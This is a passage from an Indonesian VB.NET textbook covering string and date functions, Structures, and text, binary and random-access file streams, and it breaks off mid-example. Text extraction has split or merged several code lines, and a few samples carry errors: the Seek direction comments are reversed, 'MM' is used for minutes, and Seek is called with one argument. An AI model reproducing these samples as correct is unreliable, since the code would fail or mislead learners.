GetChar(x,y), mendapatkan character posisi ke y dalam string x.

Left(x,y), mengembalikan substring dari string x sebanyak y karakter dari depan.

Right(x,y), mengembalikan substring dari string x sebanyak y karakter dari belakang.

Mid(x,y,z) mengembalikan substring dari string x mulai posisi y sebanyak z karakter.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Hendra Soewarno"
Console.WriteLine(GetChar(Nama,1)) 'H
Console.WriteLine(Left(Nama,6)) 'Hendra
Console.WriteLine(Right(Nama,8)) 'Soewarno
Console.WriteLine(Mid(Nama,4,3)) 'dra
End Sub

End Module

Space(x), mengembalikan string yang terdiri dari spasi sejumlah x karakter.

Rset(x,y), mengembalikan string rapat kanan dengan panjang y dengan menambah spasi di
depan string x.

INDOPROG 47
Bahasa pemrograman VB.NET Hendra, S.T.

Lset(x,y), mengembalikan string rapat kiri dengan panjang y dengan menambah spasi
dibelakang string x.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama1 As String = "Hendra"
Dim Nama2 As String = "Soewarno"
Console.WriteLine(Nama1 & Space(5) & Nama2) 'Hendra Soewarno
Console.WriteLine(RSet(Nama1,9)) '___Hendra
Console.WriteLine(LSet(Nama1,9)) 'Hendra___
End Sub

End Module

Ltrim(x), mengembalikan string dengan menghilangkan spasi didepan string x.

Rtrim(x), mengembalikan string dengan menghilangkan spasi dibelakang string x.

Trim(x), mengembalikan string dengan prilaku gabungan Ltrim dan Rtrim.

StrReverse(x), mengembalikan string yang membalikan karakter dalam string x.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Susan"
Console.WriteLine(Nama) 'Susan
Console.WriteLine(StrReverse(Nama)) 'nasuS
End Sub

End Module

InStr(y, x, z), mencari dari depan posisi keberadaan substring z dalam string x mulai
posisi y.

InStrRev(x, z, y), mencari dari belakang posisi keberadaan substring z dalam string x
mulai posisi y.

Contoh :

INDOPROG 48
Bahasa pemrograman VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Felicia Fortuna"
Console.WriteLine(InStr(1,Nama,"i")) '4
Console.WriteLine(InStr(5,Nama,"i")) '6
Console.WriteLine(InStrRev(Nama,"F",10)) '9
Console.WriteLine(InStrRev(Nama,"F",7)) '1
End Sub

End Module

StrDup(y, x), mengembalikan string yang merupakan duplikasi character x sebanyak y.

StrComp(x,y,z), mengembalikan nilai -1, 0, atau 1 yang merupakan perbandingan antara


string x dengan string y, dengan metode z, dimana -1 (x < y), 0 (x =y), dan 1 (x > y), dan
metode z adalah CompareMethod.Text dan CompareMethod.Binary.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama1 As String = "felicia"
Dim Nama2 As String = "FELICIA"
Console.WriteLine(StrDup(10,"-")) '----------
Console.WriteLine(StrComp(Nama1,Nama2,CompareMethod.Text)) '0
Console.WriteLine(StrComp(Nama1,Nama2,CompareMethod.Binary)) '1
End Sub

End Module

Catatan :

Pada metode Binary, perbandingan dilakukan berdasarkan nilai ASCII, dimana ASCII
huruf kecil > dari huruf besar, contoh A = 65, dan a = 97.

Split(x,y), mengembalikan array string yang merupakan hasil pemisahan dari string x
dengan delimeter y

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Felicia Fortuna"
Dim aNama() As String = Split(Nama," ")
Console.WriteLine(aNama(0)) 'Felicia

INDOPROG 49
Bahasa pemrograman VB.NET Hendra, S.T.

Console.WriteLine(aNama(1)) 'Fortuna
End Sub

End Module

Join(x,y), mengembalikan string yang merupakan hasil gabungan array string x dengan
delimeter y

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim aNama() As String = {"Felicia","Fortuna"}
Console.WriteLine(Join(aNama,", ")) 'Felicia, Fortuna
End Sub

End Module

Replace(x,y,z,[1],[2],[3]), mengembalikan string yang merupakan pengantian string y


dengan z dalam string x mulai posisi [1] sampai sejumlah karakter [2], dengan metode
perbandingan [3].

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Hendra"
Console.WriteLine(Replace(Nama,"a","o")) 'Hendro
End Sub

End Module

StrConv(x,y), menghasilkan string yang merupakan hasil konversi dengan metode y dari
string x, dimana y (VBStrConv.UpperCase, VBStrConv.LowerCase,
VBStrConv.ProperCase)

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Hendra"
Console.WriteLine(StrConv(Nama,VbStrConv.UpperCase)) 'HENDRA
Console.WriteLine(StrConv(Nama,VbStrConv.LowerCase)) 'hendra
Console.WriteLine(StrConv(Nama,VbStrConv.ProperCase)) 'Hendra
End Sub

INDOPROG 50
Bahasa pemrograman VB.NET Hendra, S.T.

End Module

FormatDateTime(x,y), menghasilkan string hasil konversi date x dengan format sesuai


dengan setting pada komputer, dimana y (DateFormat.GeneralDate,
DateFormat.LongDate, DateFormat.ShortDate, DateFormat.LongTime,
DateFormat.ShortTime)

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Console.WriteLine(FormatDateTime(Now,DateFormat.LongDate))
'Sunday, May 22, 2005
End Sub

End Module

FormatCurrency(x,y), menghasilan string yang merupakan format currency dari angka x


dengan jumlah desimal y.

FormatPercent(x,y), menghasilkan string yang merupakan format percent dari angka x


dengan jumlah desimal y.

FormatNumber(x,y), menghasilkan string yang merupakan format angka dari angka x


dengan jumlah desimal y.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Angka As Decimal = 100000 Dim PPN
As Single = 0.1
Console.WriteLine(FormatCurrency(Angka,2)) '$100,000.00
Console.WriteLine(FormatNumber(Angka,2)) '100,000.00
Console.WriteLine(FormatPercent(PPN,2)) '10.00%
End Sub

End Module

Format(x,y), menghasilkan string yang merupakan format dari argumen x dengan format y,
dengan format yang dapat dilihat pada lampiran 1.

Contoh :

INDOPROG 51
Bahasa pemrograman VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Console.WriteLine(Format(10000,"#,##0.00")) '10,000.00
Console.WriteLine(Format(Now,"dd/MM/yyyy HH:MM:SS")) '22-05-2005
20:15:01
End Sub

End Module

Filter(x,y,[1],[2]), menghasilkan array yang berisi string dari array string x yang mana
elemen yang mengandung substring y, dengan ketentuan [1] (true=contain, false =
exclude), dengan compare method [2].

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim aNama1() As String = {"Hendra","Susan","Felicia Fortuna"} Dim
aNama2() As String =
Filter(aNama1,"r",true,CompareMethod.Binary)
For Each A As String In aNama2
Console.WriteLine(A) 'Hendra & Felicia Fortuna
Next
End Sub

End Module

Latihan :

1. Buatlah program yang dapat menghasilkan terbilang dari suatu bilangan, contoh
123,456,789 (Seratus dua puluh tiga juta empat ratus lima puluh enam ribu tujuh
ratus delapan puluh sembilan).

INDOPROG 52
Bahasa pemrograman VB.NET Hendra, S.T.

Tipe data Date


Pada Visual Basic variabel date disimpan sebagai integer IEEE 64-bit (8-byte) yang
mewakili tanggal dengan jangkauan dari 1 Januari tahun 1 sampai dengan 31 Desember
tahun 9999, dan waktu dari 0:00:00 (tengah malam) sampai 23:59:59.

Nilai tanggal harus diapit diantara tanda angka (#) dan diformat dalam M/d/yyyy, sebagai
contoh #5/31/1993#.

Anda dapat memberikan nilai awal pada variabel tipe Date dengan penulisan sebagai
berikut :

Dim Tanggal As Date = New Date(2005, 5, 30, 8, 29, 59, 900)

Dimana akan memberikan nilai Tanggal 30 Mei 2005 Pukul 8:29:59.900 ke variabel
Tanggal.

Member pada Class Date

Date Mengambil komponen tanggal dari instance


TimeOfDay Mengambil komponen waktu dari instance
Day Mengambil nomor hari (1-31) dalam bulan dari instance
Month Mengambil komponen bulan (1-12) dari instance
Year Mengambil komponen tahun dari instance
Hour Mengambil komponen jam (0-23) dari instance
Minute Mengambil komponen menit (0-59) dari instance
Second Mengambil komponen detik (0-59) dari instance
Millisecond Mengambil komponen mili detik (0-999) dari instance
DayOfWeek Mengambil nomor hari (0-6) dalam minggu dari instance
DayOfYear Mengambil nomor hari (1-366) dalam tahun dari instance
Ticks Mengambil jumlah ticks dari instance
Now Mendapatkan tanggal dan waktu komputer
Today Mendapatkan mendapatkan tanggal komputer
UtcNow Mendapatkan tanggal dan wkatu komputer yang telah diknversi
menjadi coordinated universal time (UTC).

Contoh :

Option Explicit On
Imports System

Public Module ModDate

INDOPROG 53
Bahasa pemrograman VB.NET Hendra, S.T.

Sub Main()
Dim Tanggal As Date = New Date(2005,5,30,8,29,40,900)
Console.WriteLine(Tanggal.Date()) '30-05-2005
Console.WriteLine(Tanggal.TimeOfDay()) '08:29:40.9000000
Console.WriteLine(Tanggal.Day()) '30
Console.WriteLine(Tanggal.Month()) '5
Console.WriteLine(Tanggal.Year()) '2005
Console.WriteLine(Tanggal.Hour()) '8
Console.WriteLine(Tanggal.Minute()) '29
Console.WriteLine(Tanggal.Second()) '40
Console.WriteLine(Tanggal.MilliSecond()) '900
Console.WriteLine(Tanggal.DayOfWeek()) '1
Console.WriteLine(Tanggal.DayOfYear()) '150
Console.WriteLine(Tanggal.Ticks()) '632530385809000000
Console.WriteLine(DateTime.Now()) '30-05-2005 08:30:29 PM
Console.WriteLine(Tanggal.Today()) '30-05-2005
Console.WriteLine(Tanggal.UTCNow()) '30-05-2005 1:37:20 PM
End Sub

End Module

Visual Basic menyediakan berbagai fungsi bantu yang merupakan member dari
namespace Microsoft.VisualBasic

AddDays Menambah sejumlah hari (+/-) ke instance.


AddMonths Menambah sejumlah bulan (+/-) ke instance
AddYears Menambah sejumlah tahun (+/-) ke instance
AddHours Menambah sejumlah jam (+/-) ke instanace
AddMinutes Menambah sejumkah menit (+/-) ke instance
AddSeconds Menambah sejumlah detik (+/-) ke instance
AddMilliseconds Menambah sejumlah millidetik (+/-) ke instance

Option Explicit On
Imports System

Public Module ModDate


Sub Main()
Dim Tanggal As Date = New Date(2005,5,30,8,29,40,900)
Console.WriteLine(Tanggal.AddDays(-10)) '20-5-2005 8:29:40.900
End Sub
End Module

Parse Mengkonversi string dalam bentuk tanggal dan waktu ke


DateTime.

Option Explicit On
Imports System

Public Module ModDate


Sub Main()
Dim Str As String = "30-5-2005 08:30:50.900"

INDOPROG 54
Bahasa pemrograman VB.NET Hendra, S.T.

Dim Tanggal As Date


Tanggal = DateTime.Parse(Str)
Console.WriteLine(Tanggal)
End Sub
End Module

Compare Membandingkan dua instance dari DateTime dam


mengembalikan ( < 0 jika tanggal1 < tanggal2, = 0 jika
tanggal1 = tanggal2, dan > 0 jika tanggal1 > tanggal2)
DaysInMonth Mengembalikan jumlah hari dalam tahun dan bulan tertentu.
IsLeapYear Mengembalikan indikasi apakah tahun yang diberikan kabisat

Option Explicit On
Imports System

Public Module ModDate


Sub Main()
Dim Tanggal1 As Date = New Date(2005,5,30)
Dim Tanggal2 As Date = New Date(2005,5,31)
Console.WriteLine(DateTime.Compare(Tanggal1,Tanggal2)) '-1
Console.WriteLine(DateTime.DaysInMonth(2005,5)) '31
Console.WriteLine(DateTime.IsLeapYear(2005)) 'False
End Sub
End Module

Subtract Menghasilkan selisih antara suatu datetime dengan instance

Option Explicit On
Imports System

Public Module ModDate


Sub Main()
Dim Tanggal1 As Date = New Date(2005,5,30)
Dim Tanggal2 As Date = New Date(2005,5,31)
Console.WriteLine(Tanggal1.Subtract(Tanggal2)) '-1 00:00:00
End Sub
End Module

ToLocalTime Konversi Instance ke LocalTime


ToLongDateString Konversi Instance ke String dengan format setting
LongDateString
ToLongTimeString Konversi Instance ke String dengan format setting LongTime
ToShortDateString Konversi Instance ke String dengan format setting ShortDate
ToShortTimeString Konversi Instance ke String dengan format setting ShortTime
ToString Konversi Instance ke String
ToUniversalTime Konversi Instance ke UTC

INDOPROG 55
Bahasa pemrograman VB.NET Hendra, S.T.

Module Date pada Namespace Microsoft.VisualBasic

DateSerial(year,month,day), mengembalikan data tanggal sesuai dengan tahun, bulan dan hari
yang ditentukan.

TimeSerial(hour, minute, second), mengembalikan waktu sesuai dengan jam, menit dan
detik.

Now(), mengembalikan tanggal dan waktu komputer.

Today(), mengembalikan tanggal komputer.

TimeOfDay(), mengembalikan tanggal komputer dalam bentuk string.

Timer(), mengembalikan data bertipe double yang menunjukan jumlah detik sejak tengah
malam.

DateString(), mengembalikan tanggal komputer dengan format MM-dd-yyyy dalam


bentuk string.

TimeString(), mengembalikan waktu komputer

DateValue(string), mengembalikan tanggal dari hasil konversi string tanggal.

Day(DateTime), mengembalikan bagian hari dari data tanggal

Month(DateTime), mengembalikan bagian bulan dari data tanggal

Year(DateTime), mengembalikan bagian tahun dari data tanggal

Hour(DateTime), mengembalikan bagian jam dari data tanggal

Minute(DateTime), mengembalikan bagian menit dari data tanggal

Second(DateTime), mengembalikan bagian detik dari data tanggal

Weekday(DateTime, DayofWeek), mengembalikan nomor hari dalam minggu dari


DateTime (1 = minggu, …7 = sabtu).

WeekdayName(WeekDay, Abbrev), mengembalikan nama hari berdasarkan nomor hari.


(Abbrev = True, singkatan)

INDOPROG 56
Bahasa pemrograman VB.NET Hendra, S.T.

DateAdd(Interval, Number, DateValue), mengembalikan tanggal dari hasil penjumlahan


DateValue terhadap Number dalam arti interval tertentu

Enumeration value String Unit of time interval to add


DateInterval.Day d Day; truncated to integral value
DateInterval.DayOfYear y Day; truncated to integral value
DateInterval.Hour h Hour; rounded to nearest millisecond
DateInterval.Minute n Minute; rounded to nearest millisecond
DateInterval.Month m Month; truncated to integral value
DateInterval.Quarter q Quarter; truncated to integral value
DateInterval.Second s Second; rounded to nearest millisecond
DateInterval.Weekday w Day; truncated to integral value
DateInterval.WeekOfYear ww Week; truncated to integral value
DateInterval.Year yyyy Year; truncated to integral value

DateDiff(Interval, Date1, Date2), menghasilkan selisih antara Date2 terhadap Date1


berdasarkan interval tertentu. Returns a Long value specifying the number of time
intervals between two Date values.

DatePart(Interval, DateValue), mengembalikan nilai Integer yang berkaitan dengan


interval dari DataValue

Catatan :

Visual Basic .NET telah mengantikan Date dan Time dengan Today dan TimeOfDay,
kemudian fungsi Date$ dan Time$ dengan DateString dan TimeString.

INDOPROG 57
Bahasa pemrograman VB.NET Hendra, S.T.

Structure pada Visual Basic


Visual Basic menyedia perintah Structure untuk pembentukan tipe data terstruktur,
misalnya kita akan mengolah data ujian mahasiswa dengan tabel sebagai berikut :

Nim Nama Tugas Mid Semester

Dimana dapat ditulis sebagai struktur berikut ini :

Structure Ujian
<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas, Mid, Semester As Single
End Structure

Catatan :
Sebagaimana telah dinyatakan sebelumnya bahwa secara default string pada Visual Basic
adalah variable length, dan untuk membentuk string dengan fixed length kita
membutuhkan vbFixedStringAttribute Class, dimana pada awal deklarasi string kita
mencantumkan <VBFixedString(ukuran)>

Salah satu keunggulan pada Structure di Visual Basic adalah kita dapat menambahkan koding
kedalamnya untuk membuat metoda dan property, contoh misalnya kita akan menambah
property Rata-rata untuk menghitung nilai rata-rata Tugas, Mid dan Semester, sehingga
deklarasi Structure dapat ditulis menjadi :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModStruct

Structure Ujian
<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas,Mid,Semester As Single
Public ReadOnly Property RataRata() As Single
Get
Return (Tugas+Mid+Semester)/3 End
Get
End Property
End Structure

Dim DaftarUjian As Ujian

Sub Main()
DaftarUjian.Nim = "920403024"

INDOPROG 58
Bahasa pemrograman VB.NET Hendra, S.T.

DaftarUjian.Nama = "Hendra Soewarno"


DaftarUjian.Tugas = 90
DaftarUjian.Mid = 90
DaftarUjian.Semester = 90
Console.WriteLine(DaftarUjian.RataRata)
End Sub

End Module

Contoh program membaca data ke array structure dan mencetak kembali :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModStruct

Structure Ujian
<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas,Mid,Semester As Single
Public ReadOnly Property RataRata() As Single
Get
Return (Tugas+Mid+Semester)/3 End
Get
End Property
End Structure

Dim Jd As Integer = 0
Dim DaftarUjian() As Ujian

Private Sub BacaData


Dim Nim As String
Do
Console.WriteLine("Record ke {0}",Jd+1)
Console.Write("Nim : ")
Nim = Console.ReadLine()
If Nim.Trim.Length > 0
ReDim Preserve DaftarUjian(Jd)
DaftarUjian(jd).Nim = Nim
Console.Write("Nama : ")
DaftarUjian(jd).Nama = Console.ReadLine()
Console.Write("Tugas : ")
DaftarUjian(jd).Tugas = Console.ReadLine()
Console.Write("Mid : ")
DaftarUjian(jd).Mid = Console.ReadLine()
Console.Write("Semester : ")
DaftarUjian(jd).Semester = Console.ReadLine() Jd =
Jd + 1
End If
Loop Until Len(Trim(Nim)) = 0 End Sub

Private Sub CetakData()


Dim Record As Ujian
Console.WriteLine("Daftar Ujian Mahasiswa")
Console.WriteLine
Console.WriteLine("Nim Nama T M S R ")

INDOPROG 59
Bahasa pemrograman VB.NET Hendra, S.T.

Console.WriteLine("----------------------------------------------------------------------")
ForEach Record In DaftarUjian
Console.WriteLine("{0} {1} {2,6:f2} {3,6:f2} {4,6:f2}
{5,6:f2}", _
Record.Nim.PadRight(10), _
Record.Nama.PadRight(30), _
Record.Tugas, _
Record.Mid, _
Record.Semester, _
Record.RataRata)
Next
End Sub

Sub Main()
Call BacaData
Call CetakData
End Sub

End Module

Latihan :

1. Kembangkan program diatas untuk mencetak Daftar Ujian Mahasiswa, dimana


ditampilkan nilai rata-rata diikuti dengan nilai Huruf (A, B, C, D, atau E), serta
tampilkan jumlah yang Lulus (C Keatas), dan Rata-rata kelas, serta NIM
mahasiswa peringkat pertama, dengan pendekatan terstruktur.

Catatan : Kategori nilai Huruf dicetak dengan membuat Properti NilaiHuruf pada
Structure Ujian.

INDOPROG 60
Bahasa pemrograman VB.NET Hendra, S.T.

Pengolahan file stream pada Visual Basic


Sebagaimana bahasa pemrograman modern lainnya yang memperlakukan input/output
data byte sebagai Streams.

Streams meliputi tiga operasi yang mendasar:

1. Anda dapat membaca dari streams. Membaca dalam hal ini adalah mentransfer
data dari suatu stream ke dalam suatu struktur data, seperti suatu array dari byte.
2. Anda dapat menulis ke streams. Menulis adalah mentransfer data dari suatu
struktur data ke dalam suatu stream.
3. Stream mendukung pencarian. Pencarian adalah melakukan query dan modifikasi
terhadap posisi dalam suatu stream. Kemampuan pencarian sangat tergantung
pada jenis media penampung stream. Sebagai contoh FileStream mendukung
perubahan posisi, sedangkan network stream tidak.

Stream merupakan abstract base class untuk semua stream. Suatu stream adalah
abstraction dari rangkain byte, seperti suatu file, peralatan input/output, inter-process
communication pipe, atau suatu TCP/IP socket.

Untuk pengolahan stream yang berkaitan dengan file perlu melakukan Imports
System.IO, untuk menggunakan File Class.

File Class
Menyediakan metode-metode static untuk pembuatan, menduplikasi, menghapus, dan
membuka file. Berikut ini adalah beberapa member File Class :

File.Exists(namafile), mendeteksi keberadaan file


File.Delete(namafile), menghapus file yang ditentukan
File.Copy(asal,tujuan), menduplikasi file asal ke file tujuan
File.Move(asal,tujuan), memindahkan file ke lokasi baru dengan nama baru
File.GetAttributes(namafile), mendapatkan attribut dari file, dimana mengembalikan
salah satu nilai dari member FileAttributes :

Member name Description Value


Archive The file's archive status. Applications use this attribute to mark 32
files for backup or removal.

Compressed The file is compressed. 2048

Device Reserved for future use. 64

Directory The file is a directory. 16

INDOPROG 61
Bahasa pemrograman VB.NET Hendra, S.T.

Encrypted The file or directory is encrypted. For a file, this means that all 16384
data in the file is encrypted. For a directory, this means that
encryption is the default for newly created files and directories.

Hidden The file is hidden, and thus is not included in an ordinary 2


directory listing.

Normal The file is normal and has no other attributes set. This attribute is 128
valid only if used alone.

NotContentIndexed The file will not be indexed by the operating system's content 8192
indexing service.

Offline The file is offline. The data of the file is not immediately available. 4096

ReadOnly The file is read-only. 1

ReparsePoint The file contains a reparse point, which is a block of user-defined 1024
data associated with a file or a directory.

SparseFile The file is a sparse file. Sparse files are typically large files whose 512
data are mostly zeros.

System The file is a system file. The file is part of the operating system or 4
is used exclusively by the operating system.

Temporary The file is temporary. File systems attempt to keep all of the data 256
in memory for quicker access rather than flushing the data back to
mass storage. A temporary file should be deleted by the
application as soon as it is no longer needed.

File.GetCreationTime(namafile), mendapatkan tanggal dan waktu pembuatan file


File.GetLastAccessTime(namafile), mendapatkan tanggal dan waktu file terakhir kali
diakses.
File.GetLastWriteTime(namafile), mendapatkan tanggal dan waktu file terakhir kali
ditulisi.
File.SetCreationTime(namafile, waktu)
File.SetLastAccessTime(namafile, waktu)
File.SetLastWriteTime(namafile,waktu)

Pengolahan Text File


Pengolahan text file secara Stream dapat menggunakan StreamWriter dan StreamReader
dengan metode berikut ini :

File.CreateText(namafile), membuat file baru sebagai streamwriter, selanjutnya kita


dapat menggunakan metoda Write maupun WriteLine pada streamwriter untuk
melakukan penulisan ke file.

INDOPROG 62
Bahasa pemrograman VB.NET Hendra, S.T.

File.OpenText(namafile), membuka file yang telah ada sebagai streamreader, dan


selanjutnya kita dapat menggunakan metoda Read, ReadLine, kemudian untuk
memeriksa keberadaan data untuk dibaca dapat menggunalan fungsi Peek
File.AppendText(namafile), membuka file yang telah ada untuk streamwrite.

Contoh :

Option Explicit On
Imports System
Imports System.IO

Public Module ModTextFile


Sub Main()
Dim sw As StreamWriter = File.CreateText("c:\belajar.txt")
sw.WriteLine("Buku Belajar Vb.net")
sw.Flush()
sw.Close()

Dim sr As StreamReader = File.OpenText("c:\belajar.txt") Do While


sr.Peek() >= 0
Console.WriteLine(sr.ReadLine())
Loop
sr.Close()

sw = File.AppendText("C:\belajar.txt")
sw.WriteLine("Oleh : Hendra Soewarno")
sw.Flush()
sw.Close()

sr = File.OpenText("c:\belajar.txt") Do
While sr.Peek() >= 0
Console.WriteLine(sr.ReadLine())
Loop
sr.Close()

End Sub
End Module

Pengolahan File Binary


Pengolahan BinaryFile secara Stream dapat menggunakan FileStream dengan metode
berikut ini :

File.Create(namafile), membuat file baru sebagai filestream, anda dapat menggunakan


metode Write, WriteByte pada filestream untuk melakukan penulisan ke file.

File.OpenRead(namafile), membuka file yang telah ada sebagai filestream, anda dapat
menggunakan metoda Read, ReadByte pada filestream untuk melakukan pembacaan dari
file.

File.OpenWrite(namafile), membuka file yang telah ada sebagai filestream.

INDOPROG 63
Bahasa pemrograman VB.NET Hendra, S.T.

Membaca dari FileStream

Kita dapat menggunakan metoda read untuk membaca data dari FileStream

Terbaca = Fs.Read(buffer,index,count)

dimana buffer adalah array dari byte atau karakter, kemudian index adalah posisi index pada
array, dan count adalah jumlah byte yang ingin ditulis. Fungsi read akan
mengembalikan jumlah byte yang berhasil dibaca (jumlah byte terbaca dapat lebih kecil dari
count apabila EOF telah dicapai).

Menulis ke FileStream

Kemudian dapat digunakan metoda write untuk menulis data terhadap FileStream

Tertulis = Fs.Write(buffer,index,count)

Menutup FileStream
Anda dapat menggunakan metoda Close untuk menutup FileStream yang terbuka.

Fs.Close

Contoh Program simulasi perintah copy pada dos:

Option Explicit On
Imports System
Imports System.IO

Public Module ModFS

Sub Main(ByVal CmdArgs() As String)


Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then


Console.WriteLine("Pemakaian : duplikat <fileasal>
<filetujuan>")
End
End If
If File.Exists(CmdArgs(0)) Then

Dim FSS As FileStream = File.OpenRead(CmdArgs(0))


Dim FST As FileStream = File.Create(CmdArgs(1))

Dim Terbaca As Integer = 0


Dim I As Integer
Do
Terbaca = FSS.Read(Buffer,0,Buffer.Length())

FST.Write(Buffer,0,Terbaca)
Loop Until Terbaca < 512

INDOPROG 64
Bahasa pemrograman VB.NET Hendra, S.T.

FSS.Close()
FST.Close()

Else

Console.WriteLine("File asal tidak ditemukan !")


End If
End Sub

End Module

Pembukaan File Binary dengan FileStream Constructor


Selain dengan menggunakan File.Create, FileOpenRead, dan FileOpenWrite, kita dapat
juga membuka FileStream dengan menggunakan constructor :

Syntax :

FileStream Constructor(nama file, FileMode, FileAccess, FileShare)

Dimana Enumeration member untuk FileMode adalah sebagai berikut :

Append Membuka atau membuat filebaru, dan menempatkan posisi file


pointer pada EOF (harus disertai dengan FileAccess.Write)
Create Membuat file baru atau file lama akan ditimpa.
CreateNew Membuat file baru dan akan menyebabkan exception kalau file telah
ada
Open Membuka file dan akan menyebabkan exception kalau file belum ada
OpenOrCreate Membuka atau membuat file baru jika belum ada
Truncate Membuka file dan mengosongkan isi file tersebut

Dan Enumeration member untuk FileAccess adalah sebagai berikut :

Read Akses membaca data dari file


ReadWrite Akses membaca dan menulis data ke file
Write Akses menulis file

Dan Enumeration member untuk FileShare adalah sebagai berikut :

None Tidak memungkinkan pembukaan file oleh proses lain (Single User)
Read Multiuser dengan pembatasan proses lain hanya dapat hak membaca
ReadWrite Multiuser
Write Multiuser dengan pembatasan proses lain hanya dapat hak menulis

Contoh Program simulasi perintah copy pada dos dengan constructor FileStream:

Option Explicit On
Imports System
Imports System.IO

INDOPROG 65
Bahasa pemrograman VB.NET Hendra, S.T.

Public Module ModDup

Sub Main(ByVal CmdArgs() As String)


Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then


Console.WriteLine("Pemakaian : duplikasi <fileasal>
<filetujuan>")
End
End If
If File.Exists(CmdArgs(0)) Then
Dim FSS As FileStream = new FileStream(CmdArgs(0), _
FileMode.Open, _
FileAccess.Read)
Dim FST As FileStream = new FileStream(CmdArgs(1), _
FileMode.Create, _
FileAccess.Write)
Dim Terbaca As Integer = 0
Do
Terbaca = FSS.Read(Buffer,0,Buffer.Length())
FST.Write(Buffer,0,Terbaca)
Loop Until Terbaca < 512

FSS.Close()
FST.Close()

Else

Console.WriteLine("File asal tidak ditemukan !")


End If
End Sub

End Module

Pengolahan Random File

Secara Stream, Visual Basic tidak menyediakan metoda khusus untuk pengolahan
random file untuk penyimpan data Structure, misalnya kita ingin menyimpan data hasil
ujian mahasiswa sebagai berikut ini :

Nim Nama Tugas Mid Semester

Dimana dapat ditulis sebagai struktur berikut ini :

Structure Ujian
<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas,Mid,Semester As Single
Public ReadOnly Property RataRata() As Single

INDOPROG 66
Bahasa pemrograman VB.NET Hendra, S.T.

Get
Return (Tugas+Mid+Semester)/3 End
Get
End Property
End Structure

Dan data tersebut diatas ingin kita simpan ke file.

Mendapatkan jumlah Record dalam file

Untuk mendapatkan jumlah record, kita dapat menggunakan ukuran FileStream dibagi
dengan ukuran tiap record.

Dim Record As Ujian


JlhRec = Fs.Length()/Len(Record)

Memindahkan posisi stream pointer

Sesuai dengan istilah random file, tentu saja harus memiliki kemampuan untuk
mengakses (membaca/menulis) ke record tertentu secara langsung, untuk keperluan
tersebut kita dapat memindahkan posisi stream dengan perintah Seek.

Fs.Seek(offset, origin)

dimana offset adalah posisi (dalam ukuran byte) yang relatif terhadap SeekOrigin (begin,
current, dan end) pada stream.

Contoh :

Fs.Seek(0,SeekOrigin.Begin) 'Pindah ke posisi awal steam

Fs.Seek(10,SeekOrigin.Current) 'Pindah 10 byte ke belakang dari posisi sekarang

Fs.Seek(-10,SeekOrigin.Current) 'Pindah 10 byte kedepan dari posisi sekarang

Pada pengolahan random file, kita dapat menggunakan formula berikut untuk
menghitung offset pada stream :

Offset = (recno - 1) * ukuran tiap record

Contoh :

Fs.Seek((1-1)*Len(Record)) 'Pindah ke posisi record 1

Fs.Seek((10-1)*Len(Record)) 'Pindah ke posisi record 10

INDOPROG 67
Bahasa pemrograman VB.NET Hendra, S.T.

Mendapatkan posisi Stream pointer

Untuk mendapatkan posisi Stream dapat digunakan property Position

Contoh :
Console.WriteLine(Fs.Position)

Dan kita dapat menggunakan formula berikut untuk menghitung posisi record

Norec = (Posisi Stream / Ukuran tiap record) + 1

Membaca/menulis record ke Stream

Untuk membaca dan menulis data ke stream kita perlu menggunakan BinaryFormatter,
karena perintah Read dan Write yang tersedia pada FileStream membutuhkan struktur data
array byte.

Adapun BinaryFormatter berfungsi melakukan serialize dan deserialize terhadap objek


menjadi format binary.

Supaya suatu Structure dapat di serialize/deserialize, maka kita perlu menambahkan


<Serializble> pada saat deklarasi structure tersebut. Contoh :

<Serializable> Structure Ujian


<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas,Mid,Semester As Single
Public ReadOnly Property RataRata() As Single
Get
Return (Tugas+Mid+Semester)/3 End
Get
End Property
End Structure

Untuk menulis ke FileStream, kita dapat menggunakan metoda Serialize pada


BinaryFormatter, dan untuk membaca kita dapat menggunakan metoda DeSerialize,
Contoh :

Option Explicit On
Imports System
Imports System.IO
Imports Microsoft.VisualBasic
Imports System.Runtime.Serialization.Formatters.Binary
Public Module ModStruct

<Serializable> Structure Ujian


<VBFixedString(10)> Public Nim As String
<VBFixedString(30)> Public Nama As String
Public Tugas,Mid,Semester As Single
Public ReadOnly Property RataRata() As Single

INDOPROG 68
Bahasa pemrograman VB.NET Hendra, S.T.

Get
Return (Tugas+Mid+Semester)/3 End
Get
End Property
End Structure

Dim Jd As Integer = 0
Dim Record As Ujian
Dim Ukuran As Integer = Len(Record) Dim Fm
As New BinaryFormatter

Sub
Main()
Dim Fs As FileStream = new
